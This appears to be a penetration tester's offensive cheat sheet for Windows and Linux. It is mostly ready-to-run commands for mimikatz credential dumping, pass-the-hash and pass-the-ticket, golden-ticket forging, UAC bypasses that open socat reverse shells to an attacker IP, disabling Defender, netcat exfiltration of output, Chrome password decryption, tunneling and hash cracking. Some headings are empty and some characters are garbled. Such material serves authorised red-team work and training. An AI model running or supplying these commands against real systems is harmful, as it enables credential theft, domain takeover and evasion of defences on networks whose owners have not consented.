Credential Dumping

LSASS Memory (sekurlsa)

Dump All Credentials:

# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)
sekurlsa::logonpasswords

Dump Specific Hash Types:

# Dumps only LM/NTLM hashes
sekurlsa::msv

Export Kerberos Tickets:

# Avoid AV flagging
base64 /out:true

# Export Kerberos Tickets (TGT/TGS) to disk
sekurlsa::tickets /export
# $ : machine tickets (computers)
# @ : service tickets (users)

Extract AES Keys:

# Extract AES Keys for Pass the Key attacks
.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

SAM Database

# Dumps local SAM database (local user hashes)
lsadump::sam

LSA Secrets

# Dumps LSA Secrets (cached domain credentials, service account passwords, etc.)
lsadump::lsa /patch

Dump Specific Account:

# Dump specific account (e.g., KRBTGT for Golden Ticket)
lsadump::lsa /inject /name:krbtgt

DCSync (Remote):

# Remotely dump account from Domain Controller
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

DCSync

Might require runas.

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>" exit

Pass the Hash (PtH)

Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit

Alternative Syntax:

sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exe

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Extract AES Keys First:

.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

Pass the Key with AES:

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Pass the Ticket (PtT)

Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.

Export Tickets:

# Export tickets from memory to .kirbi files
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

Inject Ticket:

# Inject ticket into current session
.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>" "misc::cmd" exit

Golden Ticket Attack

A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.

Step 1: Get KRBTGT Hash & SID

Method A (On DC):

lsadump::lsa /inject /name:krbtgt

Method B (Remote DCSync):

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Step 2: Create & Inject Ticket

# /ptt immediately injects it into memory. /id:500 makes you fake-admin.
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM> /id:500 /ptt

Step 3: Launch Shell

# Launch shell (Optional, or just use current shell if /ptt was used)
misc::cmd

Credential Manager

Dump credentials stored in Windows Credential Manager:

\\tsclient\share\mimikatz.exe
privilege::debug
sekurlsa::credman

DPAPI (Data Protection API)

Decrypt data protected by Windows DPAPI, such as browser credentials:

mimikatz.exe
dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Nice Commands

These will be a grab-bag of command workarounds usually for restricted systems that lack certain functionality.

Linux

# Pull out IP addresses (IPv4, IPv6, MAC) from text file
grep -hoE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b|\b([0-9a-fA-F]{1,4}:){3,}[0-9a-fA-F]{1,4}\b|\b[0-9a-fA-F]{0,4}::[0-9a-fA-F]{0,4}\b" * | sort -u

# Unzip w/ Python3
python3 -c 'import zipfile, sys; zip_ref = zipfile.ZipFile(sys.argv[1], "r"); zip_ref.extractall("."); zip_ref.close()' <ZIPFILE>

# Unzip w/ Perl
perl -e 'use Archive::Zip; my $zip = Archive::Zip->new(shift); $zip->extractTree();' <ZIPFILE>

# strings replacement
f="<FILE>" ; cat $f | tr -c '[:print:]\t\n' '[\n*]' | awk 'length > 3' | less

# string replacement
f="<FILE>" ; sed 's/[^[:print:]]/\n/g' $f | awk 'length > 3' | less

---

# Map drive
sudo apt install -y cifs-utils
sudo mkdir /mnt/<SHARE>
sudo mount -t cifs -o username=<USERNAME>,password=<PASSWORD>,domain=. //<TARGET>/<SHARE> /mnt/<SHARE>
sudo mount -t cifs -o credentials=credentialfile //<TARGET>/<SHARE> /mnt/<SHARE>
# credentialfile
username=<USERNAME>
password=<PASSWORD>
domain=.

# Search filenames
find <PATH> -name *<KEYWORD>*

# Search keyword in files
grep -rn <PATH> -ie <KEYWORD>

Windows

# Get PS Version
$PSversiontable

---

# Processes or Task List
tasklist /V | findstr <KEYWORD>

# Current User Info
whoami;hostname
whoami /priv          # Show current user's privileges
whoami /groups        # Show current user's group memberships

# List Users & Groups
net user              # List all local users
net localgroup        # List all local groups
net localgroup | findstr admin
net localgroup "<GROUP>"
net localgroup administrators  # List members of the Administrators group

# Password & Account Policy
net accounts          # (Local policy)
net accounts /domain  # (Domain policy)

# Shares
net share             # Shares by current computer
net use               # External connected shares
Get-SmbMapping        # Same but in PowerShell
Get-PSDrive -PSProvider FileSystem

# Map drive
net use <DRIVE>: \\<TARGET>\<SHARE>
net use <DRIVE>: \\<TARGET>\<SHARE> /user:<USER> <PASSWORD>

# Map drive
New-PSDrive -PSProvider "FileSystem" -Name "<DRIVE>" -Root "\\<TARGET>\<SHARE>"
$secpassword = ConvertTo-SecureString -AsPlainText -Force '<PASSWORD>'
$cred = New-Object System.Management.Automation.PSCredential '<USERNAME>', $secpassword
New-PSDrive -PSProvider "FileSystem" -Credential $cred -Name "<DRIVE>" -Root "\\<TARGET>\<SHARE>"

# Search filenames
dir /s /b <DRIVE>:\*<KEYWORD>*
Get-ChildItem -Recurse -File -Path <DRIVE>:\ -Include *<KEYWORD>*

# Search keyword in files
findstr /s /i <KEYWORD> <DRIVE>:\*.*
Get-ChildItem -Recurse -Path <DRIVE>:\ | Select-String -List "<KEYWORD>"

Change User Password via PowerView

# Authenticate as privileged user
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

# Create NEW password of other account
$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force

# Set NEW password
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -Verbose
# Add User to Group
Add-DomainGroupMember -Identity '<GROUP>' -Members '<USER>' -Credential $Cred -Verbose

# Remove User from Group
Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Credential $Cred -Verbose

# Verify Group Membership or Removal
Get-DomainGroupMember -Identity "<GROUP>" | Select MemberName

Pass the Hash (PtH)

Preparation (Local Accounts)

# Enable Registry Key to PtH for non-RID-500 local admins
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Mimikatz (Interactive)

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit

Invoke-TheHash (PowerShell)

Import-Module .\Invoke-TheHash.psd1

# SMB w/ add Admin user payload
Invoke-SMBExec -Target <TARGET> -Domain <DOMAIN> -Username <USER> -Hash <PASS_HASH> -Command "net user <NEW_USER> <NEW_PASS> /add && net localgroup administrators <NEW_USER> /add" -Verbose

# WMI w/ PowerShell reverse shell payload
Invoke-WMIExec -Target <TARGET> -Domain <DOMAIN> -Username <USER> -Hash <PASS_HASH> -Command "<REV_SHELL_POWERSHELL_PAYLOAD>"

Impacket (Python)

psexec creates a remote service by uploading a randomly-named executable to the ADMIN$ share on the target host. It then registers the service via RPC and the Windows Service Control Manager. Once established, communication happens over a named pipe, providing an interactive remote shell as SYSTEM on the victim host.

wmiexec utilizes a semi-interactive shell where commands are executed through Windows Management Instrumentation. It does not drop any files or executables on the target host and generates fewer logs than other modules. After connecting, it runs as the local admin user we connected with (this can be less obvious to someone hunting for an intrusion than seeing SYSTEM executing many commands). Note that this shell environment is not fully interactive, so each command issued will execute a new cmd.exe from WMI and execute your command. The downside of this is that if a vigilant defender checks event logs and looks at event ID 4688: A new process has been created.

# NOTE: Use forward slash for domain syntax to avoid shell escaping
# :<PASS_HASH> implies empty LM hash (LM:NT)

impacket-psexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-wmiexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-atexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>
impacket-smbexec <DOMAIN>/<USER>@<TARGET> -hashes :<PASS_HASH>

NetExec (Enumeration/Spraying)

# Target can also be a subnet (CIDR)
# -d . = Local Account | -d <DOMAIN> = Domain Account
# --local-auth forces local check if implied domain fails
netexec smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth

Evil-WinRM (WinRM Shell)

# Most reliable shell if ports 5985/5986 are open
evil-winrm -i <TARGET> -u <USER> -H <PASS_HASH>

RDP (Restricted Admin Mode)

#Enable Restricted Admin on Target (Requires Admin rights)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Now RDP with Hash
xfreerdp3 /v:<TARGET> /u:<USER> /pth:<PASS_HASH> /cert:ignore +clipboard /dynamic-resolution /drive:/usr/share/windows-resources/mimikatz/x64,share

Privilege Escalation (PrivEsc)

NOTE: scripts are noisy for any sort of monitoring software, so manual checks may be preferred

๐Ÿง Linux

๐Ÿ” linPEAS

# === ATTACKER ===
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
ip a ; python3 -m http.server 8000

# === TARGET ===
cd /tmp
wget http://<IP_ADDR>:8000/linpeas.sh
chmod +x linpeas.sh
REGEXES="0" ./linpeas.sh 2>&1 | tee linpeas_output.txt

# === KALI ===
scp <USER>@<TARGET>:/tmp/linpeas_output.txt ~/
# NC
nc -l -p <PORT> > ~/linpeas_output.txt
cat /tmp/linpeas_output.txt | nc <ATTACKER_IP> <PORT>
# wait a moment, then CTRL+C

Manual Method

dpkg -l

sudo -l

cat /etc/crontab /var/spool/cron/crontabs/root
ls -la /etc/cron.d/

ls -la /home/*/.ssh/
ls -la /root/.ssh/

๐ŸชŸ Windows

for %f in ("C:\Program Files", "C:\Program Files (x86)") do @(echo. && echo --- Listing: %~f --- && dir "%~f" /b)

Priv Esc Exploits

Security Products

Windows

PowerShell

Bypass Execution Policy

# Get Current PS Execution Policy
Get-ExecutionPolicy -List

# Override
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

Version Downgrade

Version 2 is nice because it has no AMSI and Script Block Logging.

# Show Shell's current PS Version
Get-Host

# Get ALL PS Version
reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell" /s | findstr /i "Version"

# PowerShell v2 Installed?
powershell.exe -version 2 -c "$PSVersionTable.PSVersion"

Constrained Language Mode

$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage  = locked down
# FullLanguage         = no problems

Windows Defender

# Check WinDefend service
sc.exe query windefend

# Check Status
Get-MpComputerStatus

# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

Windows Firewall

# Show state of all profiles
netsh advfirewall show allprofiles
# Add Firewall Exception
netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>

Bypass UAC

NOTE: These works when UAC is NOT “Always Notify”

# msconfig
WIN+R > msconfig > Tools > Select "Command Prompt" > Launch

# azman.msc
Help > Help Topics > Right-Click > View Source > Show "All Files" > Search and Select "cmd.exe" > Right-Click > Open

# Fodhelper.exe w/ Socat
nc -nvlp <PORT>

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

whoami /groups
// success HIGH!

reg delete HKCU\Software\Classes\ms-settings\ /f
reg query %REG_KEY% /v ""

# WinDefend-Safe UAC Bypass w/ Socat
powershell.exe

$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
New-Item "HKCU:\Software\Classes\.update\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.update\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".update" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
// success!

reg delete "HKCU\Software\Classes\.update\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

# "Always Notify"-Safe UAC Bypass (but NOT WinDefend-Safe)
nc -lvnp <PORT>
           
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes &REM " /f
schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
// success!

reg delete "HKCU\Environment" /v "windir" /f

# Auto-Bypass (up-to-date)
# https://github.com/hfiref0x/UACME

C:\tools\UACME-Akagi64.exe 33

AppLocker

Built-in application whitelister. Commonly cmd.exe and powershell.exe will be blocked, but PowerShell lives in multiple locations:

# Get Rules
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Local Administrator Password Solution (LAPS)

If using BloodHound check for ReadLAPSPassword in graph.

# Enumerate who can read LAPS
nxc smb <DC_IP> -u <USER> -p <PASS> --laps

# Dump the passwords (if able)
nxc smb <TARGET> -u <USER> -p <PASS> --laps

---

# OUT OF DATE
# https://github.com/leoloobeek/LAPSToolkit

wget https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1

Import-Module LAPSToolkit.ps1

# Scans OUs for groups "LAPS Admins" that can read LAPS passwords on all computers in the OU
Find-LAPSDelegatedGroups
# Scans Computer Objects for who has "All Extended Rights" and read passwords
Find-AdmPwdExtendedRights
# Enum computers with LAPS extension and attempts password dump
Get-LAPSComputers

7 - Lateral Movement

Lateral Movement

Network Info

# Linux
arp -a
cat /etc/hosts
ifconfig
ip a
nmcli dev show
ip r

# Windows
arp -a
type c:\Windows\System32\drivers\etc\hosts
ipconfig /all
netstat -r

Tunneling (Port Forwarding)

SSH

Forward

Local (where SSH is ran from) => Remote (Target)

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <USER>@<TARGET_2>

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \
    -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \
    <USER>@<TARGET_2>

Reverse

ssh -R <REMOTE_IP>:<REMOTE_PORT>:0.0.0.0:<LOCAL_PORT> <USER>@<TARGET> -v

Metasploit

portfwd list

Forward

# ATTACKER => REDIR => TARGET
# NOTE: add "-L 0.0.0.0" to make the local port accessible from other machines next to ATTACKER (like a Windows box)
portfwd add -l <ATTACKER_PORT> -r <TARGET_IP> -p <TARGET_PORT> 

Reverse

# TARGET => REDIR => ATTACKER
portfwd add -R -l <REDIR_PORT> -L <ATTACKER_IP> -p <ATTACKER_PORT>

Redirection

Redirection is simple traffic manipulation on a single host. There are no tunnels.

Netcat

# PORT FORWARD 0.0.0.0:<LISTEN_PORT> => <TARGET>:<FORWARD_PORT>
# NOTE: use normal netcat (w/o "-e" or "-c" options)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | nc <TARGET> <FORWARD_PORT> 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f

Socat

This can be forward or reverse, with the TARGET_* being the ATTACKER or TARGET respectively.

socat TCP4-LISTEN:<LISTEN_PORT>,fork,reuseaddr TCP4:<TARGET_IP>:<TARGET_PORT>

Netsh

netsh.exe interface portproxy add v4tov4 listenaddress=<LISTEN_IP> listenport=<LISTEN_PORT> connectaddress=<REMOTE_IP> connectport=<REMOTE_PORT>

netsh.exe interface portproxy show v4tov4

Dynamic Forwarding

SOCKS

  • Remember that only proper TCP traffic works with SOCKS (e.g. NOT certain scans like nmap -sS sends malformed packets or ICMP ping), use nmap -sT
proxychains <COMMAND>

proxychains msfconsole

proxychains nmap -n -Pn -sT -sV -p21,22,23,53,80,135,139,389,443,445,1433,3389,5985,5986,8080 --stats-every 15s --open -v -oA nmap_subnet_discovery <TARGET_SUBNET>

Step 0: Pre-Requisites

# Edit ProxyChains Config
# NOTE: disable strict_chain to for robustness
ls -la /etc/proxychains*.conf

[ProxyList]
dynamic_chain
#strict_chain
socks5  127.0.0.1 1080  # For Chisel
socks4  127.0.0.1 9050  # For an SSH -D proxy

via SSH

# Step 1: create proxy via SSH
ssh -D 9050 <USER>@<TARGET>

Windows SSH client from PuTTY.

plink -ssh -D 9050 <USER>@<TARGET>

cmd.exe /c echo y | plink.exe -ssh -l <USER> -pw <PASS> <TARGET>

via Metasploit

# Step 1: Run MSF SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
#set version 5
run -j
jobs

# Step 2a: in MSF
use post/multi/manage/autoroute
set SESSION <SESSION>
set SUBNET <TARGET_SUBNET>
run -j
jobs
route print

# OR Step 2b: in MSF session
run autoroute -s <TARGET_SUBNET>
run autoroute -p

Sshuttle

“Transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin… Supports DNS tunneling.”

sudo apt install -y sshuttle
# NOTE: -x excludes the pivot IP to avoid routing issues
sudo sshuttle -r <USER>@<TARGET> --ssh-cmd "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" -x <PIVOT_IP> -v <TARGET_SUBNET>

Chisel

“Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH”

NOTE: configure [[lateral-movement#Step 0 Pre-Requisites]] and SOCKS5 w/ port 1080

### LINUX
# DYNAMIC
git clone https://github.com/jpillora/chisel.git && cd chisel && go build
# STATIC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o chisel_static

### WINDOWS
# 64-bit
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o chisel.exe
# 32-bit
CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags="-s -w" -o chisel32.exe

### SHRINK (10MB -> 3MB)
upx --brute chisel*

Forward

# REDIR
./chisel server --socks5 -v -p <LISTEN_PORT>

./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> 1080:socks

Reverse

# ATTACKER
./chisel server --socks5 --reverse -v -p <LISTEN_PORT>

# REDIR
./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> R:1080:socks

Ligolo-ng

# ATTACKER
sudo ./proxy -selfcert

# CLIENT
./agent -connect <ATTACKER_IP>:11601 -ignore-cert

# ATTACKER: ligolo session
session 1
start

# Back in Kali terminal
sudo ip route add <SUBNET_TARGET> dev ligolo

8 - Reporting

Post-Engagement

9 - Notes

Nice General Cheatsheets

Authentication Process - Linux

1. Core Architecture: PAM

Pluggable Authentication Modules (PAM) manage the authentication, session setup, and password changes.

  • Key Module: pam_unix.so (Standard Unix auth).
  • Location: /usr/lib/x86_64-linux-gnu/security/
  • Function: Bridges the gap between user input (e.g., passwd command) and flat files (/etc/passwd, /etc/shadow).

2. Critical Files & Storage

A. The User Registry (/etc/passwd)

  • Permissions: World-Readable.
  • Format: Username:Password:UID:GID:GECOS:Home:Shell
  • Key Fields:
    • Password (x): Indicates the hash is actually in /etc/shadow.
    • Exploit: If writeable, deleting the x removes the password requirement for that user (e.g., root::0:0... allows passwordless login).

B. The Secrets (/etc/shadow)

  • Permissions: Root-Readable only.
  • Format: Username:Hash:LastChange:Min:Max:Warn:Inactive:Expire:Reserved
  • Status Flags:
    • ! or *: Account is locked (cannot login via password).
    • Note: SSH Key auth or su might still work even if locked.

C. Password History (/etc/security/opasswd)

  • Permissions: Root-Readable.
  • Function: Stores previously used password hashes to enforce history policies (prevent reuse).
  • Value: Often contains older, weaker hashes (MD5) useful for pattern analysis.

3. Hash Formats & Algorithms

Linux hashes follow the format: $<id>$<salt>$<hash>

IDAlgorithmNotes
$1$MD5Weak. Fast to crack.
$2a$BlowfishSlower (Bcrypt).
$5$SHA-256Standard.
$6$SHA-512Standard / Strong.
$y$YescryptModern Default (Debian/Kali). Harder to crack.
$7$ScryptMemory hard.

4. Cracking Workflow

1. Prepare the File (Unshadow) Combine passwd and shadow to give the cracker the necessary context (Usernames, GECOS, and Hash).

# Syntax: unshadow <PASSWD_FILE> <SHADOW_FILE>
unshadow /etc/passwd /etc/shadow > unshadowed.hashes

2. Crack (Hashcat)

  • Format: SHA-512 (Mode 1800) is the most common legacy default.
hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txt

3. Crack (John the Ripper)

  • Mode: --single is highly effective here because unshadow provides the GECOS fields for guessing.
john --single unshadowed.hashes

Authentication Process - Windows

Authentication Process - Windows Authentication Process - Windows

1. Key Processes & Architecture

WinLogon (WinLogon.exe)

  • Role: The “orchestrator.” Intercepts keyboard input (Ctrl+Alt+Del), manages the workstation lock status, and handles password changes.
  • Workflow: Launches LogonUI -> Collects Creds -> Sends to LSASS.
  • Legacy Note (GINA): In older Windows (NT/XP), msgina.dll handled this. Replaced by Credential Providers in modern Windows.

LogonUI (LogonUI.exe)

  • Role: The graphical user interface that asks for the password.
  • Mechanism: Uses Credential Providers (COM Objects/DLLs) to accept different auth types (Password, PIN, Biometrics).

LSASS (%SystemRoot%\System32\Lsass.exe)

  • Role: The “Gatekeeper.” Enforces security policy, validates the password against SAM/AD, and writes to the Event Log.
  • Resources: Microsoft: LSA Architecture

2. Authentication DLLs (The Packages)

These modules live inside LSASS to handle specific tasks.

DLL NameFunction / Description
Lsasrv.dllThe Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM).
Msv1_0.dllLocal / NTLM. Handles non-domain logins and legacy NTLM authentication.
Kerberos.dllDomain. Handles Kerberos ticket requests and validation.
Samsrv.dllSAM Interface. Talks to the local SAM database.
Netlogon.dllNetwork. Handles the secure channel for network logons.
Ntdsa.dllAD Interface. Used to create/manage records in the Registry or AD.

3. Credential Storage Locations

Local Users (SAM)

  • File Path: %SystemRoot%\system32\config\SAM
  • Registry Mount: HKLM\SAM
  • Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
  • Content: Local user NTLM/LM hashes.
Registry HiveDescription
HKLM\SAMContains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords.
HKLM\SYSTEMStores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes.
HKLM\SECURITYContains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more.

Domain Users (NTDS)

  • File Path: %SystemRoot%\ntds.dit
  • Location: Found only on Domain Controllers.
  • Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
  • Sync: Replicates to all DCs (except Read-Only DCs).

Credential Manager (The Vault)

  • Role: Stores saved passwords for RDP, Websites, and Network Shares.
  • Policy.vpol in File Path:
  • %UserProfile%\AppData\Local\Microsoft\Vault\
  • %UserProfile%\AppData\Local\Microsoft\Credentials\
  • %UserProfile%\AppData\Roaming\Microsoft\Vault\
  • %ProgramData%\Microsoft\Vault\
  • %SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\

Windows Credential Manager Windows Credential Manager

Hashcat

Hashcat is a fast password recovery tool that supports multiple attack modes and hash types. It’s the world’s fastest and most advanced password recovery utility.

References:

Basic Usage

# Basic syntax
hashcat -m <HASH_MODE> -a <ATTACK_MODE> <HASH_FILE> <WORDLIST>

# Common flags
-m <MODE>     : Hash type mode (see hash types below)
-a <MODE>    : Attack mode (0=straight, 1=combinator, 3=brute-force/mask, 6=hybrid wordlist+mask)
-r <RULE>    : Rule file for rule-based attack
--force      : Ignore warnings (use with caution)
--stdout     : Output to stdout instead of cracking
-w <LEVEL>   : Workload profile (1-4, higher = faster but more resource intensive)
-O            : Optimized kernels (limits password length)

Attack Modes

ModeDescriptionExample
0Straight (Dictionary)hashcat -a 0 -m 1000 hash.txt wordlist.txt
1CombinatorCombines words from two wordlists
3Brute-Force/Maskhashcat -a 3 -m 1000 hash.txt ?a?a?a?a?a?a
6Hybrid Wordlist + MaskWordlist + mask pattern

Common Hash Types & Modes

Windows Hashes

# NT hashes (NTLM)
hashcat -m 1000 <HASHES> <WORDLIST>

# PBKDF2 (DCC2 hashes for domain - cached domain credentials)
hashcat -m 2100 <HASHES> <WORDLIST>

Linux Hashes

# SHA-512crypt (most common legacy default)
hashcat -m 1800 hashes.txt <WORDLIST>

# MD5crypt (with salt)
hashcat -m 20 <HASH>:<SALT> <WORDLIST>

Kerberos (Active Directory)

# Kerberoasting - RC4 encrypted TGS (Type 23)
hashcat -m 13100 spn_tickets.txt <WORDLIST>

# Kerberoasting - AES-256 encrypted TGS (Type 18)
hashcat -m 19600 spn_tickets.txt <WORDLIST>

# Kerberoasting - AES-128 encrypted TGS (Type 17)
hashcat -m 19700 spn_tickets.txt <WORDLIST>

Other Hash Types

# Bitlocker
hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST>

# IPMI (HP iLO)
hashcat -m 7300 ipmi_hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
hashcat -m 7300 -w 3 -O "<HASH>" /usr/share/wordlists/rockyou.txt

Rule-Based Attacks

Rule-based attacks apply transformations to words in a wordlist, creating permutations and variations.

Rule Files Location

# Default rule files location
/usr/share/hashcat/rules

Rule Comparison Table

Rule FileRule CountUse Case
best64.rule64First Run. Instant results for easy passwords.
d3ad0ne.rule~34,000Deep Crack. Good for standard “complex” user passwords.
dive.rule~100,000+Paranoid. Extremely slow; last resort for dictionary attacks.

Using Rules

# Apply rule file to wordlist
hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>

Creating Custom Rules

Common rule transformations:

RuleDescriptionExample
cCapitalize first character, lowercase restpassword โ†’ Password
CLowercase first character, uppercase restpassword โ†’ pASSWORD
tToggle case of all characterspassword โ†’ PASSWORD
$!Append ! to endpassword โ†’ password!
$1$9$9$8Append 1998 to endpassword โ†’ password1998
sa@Replace all a with @password โ†’ p@ssword
so0Replace all o with 0password โ†’ passw0rd
ss$Replace all s with $password โ†’ pa$$word

Example Custom Rule File:

cat << EOF > custom.rule
c
C
t
\$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt

# Crack hash with custom rule
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

Mask Attacks (-a 3)

Mask attacks use placeholders to define character sets and patterns for brute-force attacks.

Charset Symbols

SymbolDescriptionCharset / Definition
?lLowercaseabcdefghijklmnopqrstuvwxyz
?uUppercaseABCDEFGHIJKLMNOPQRSTUVWXYZ
?dDigits0123456789
?hHex (Lower)0123456789abcdef
?HHex (Upper)0123456789ABCDEF
?sSpecialยซspaceยป!"#$%&’()*+,-./:;<=>?@[]^_{`
?aAll?l?u?d?s
?bBinary0x00 - 0xff

Custom Charsets

# Define custom charset with -1, -2, -3, -4
# -1 ?d?u means charset 1 = digits + uppercase
hashcat -a 3 -m 7300 hash.txt ?1?1?1?1?1?1?1?1 -1 ?d?u

Mask Examples

# Pattern: 1 uppercase, 4 lowercase, 1 digit, 1 special
hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s'

# 8 characters: digits or uppercase
hashcat -a 3 -m 7300 hash.txt ?1?1?1?1?1?1?1?1 -1 ?d?u

Hash Identification

Before cracking, identify the hash type:

# Use hashid to identify hash and get hashcat mode
hashid -jm '<HASH>'

# Alternative: online tool
# https://hashes.com/en/tools/hash_identifier

Common Hash Values

Hash ValueTypeMeaning
d41d8cd98f00b204e9800998ecf8427eMD5Empty String (0 byte input)
da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1Empty String (0 byte input)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855SHA256Empty String (0 byte input)

Workflow Examples

Linux Password Cracking

# 1. Prepare unshadowed file
unshadow /etc/passwd /etc/shadow > unshadowed.hashes

# 2. Crack with hashcat (SHA-512, mode 1800)
hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txt

Kerberoasting

# 1. Get TGS tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txt

# 2. Crack TGS (RC4, most common)
hashcat -m 13100 spn_tickets.txt <WORDLIST>

# 3. If AES-256, use mode 19600
hashcat -m 19600 spn_tickets.txt <WORDLIST>

Windows NT Hashes

# Extract hashes from SAM
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

# Crack NT hashes
hashcat -m 1000 <HASHES> <WORDLIST>

Important Notes

